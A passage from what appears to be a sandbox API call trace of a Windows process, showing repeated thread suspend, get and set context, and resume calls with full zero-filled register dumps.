Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.448] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f218, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.449] ResumeThread (hThread=0x100) returned 0x1 [0128.449] CloseHandle (hObject=0x100) returned 1 [0128.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.453] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.563] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.676] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0128.676] SuspendThread (hThread=0x100) returned 0x0 [0128.677] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ff78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6f7740, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.677] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ff70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.678] ResumeThread (hThread=0x100) returned 0x1 [0128.678] CloseHandle (hObject=0x100) returned 1 [0128.678] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.728] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.895] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0128.895] SuspendThread (hThread=0x100) returned 0x0 [0128.895] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcbf000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.927] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, 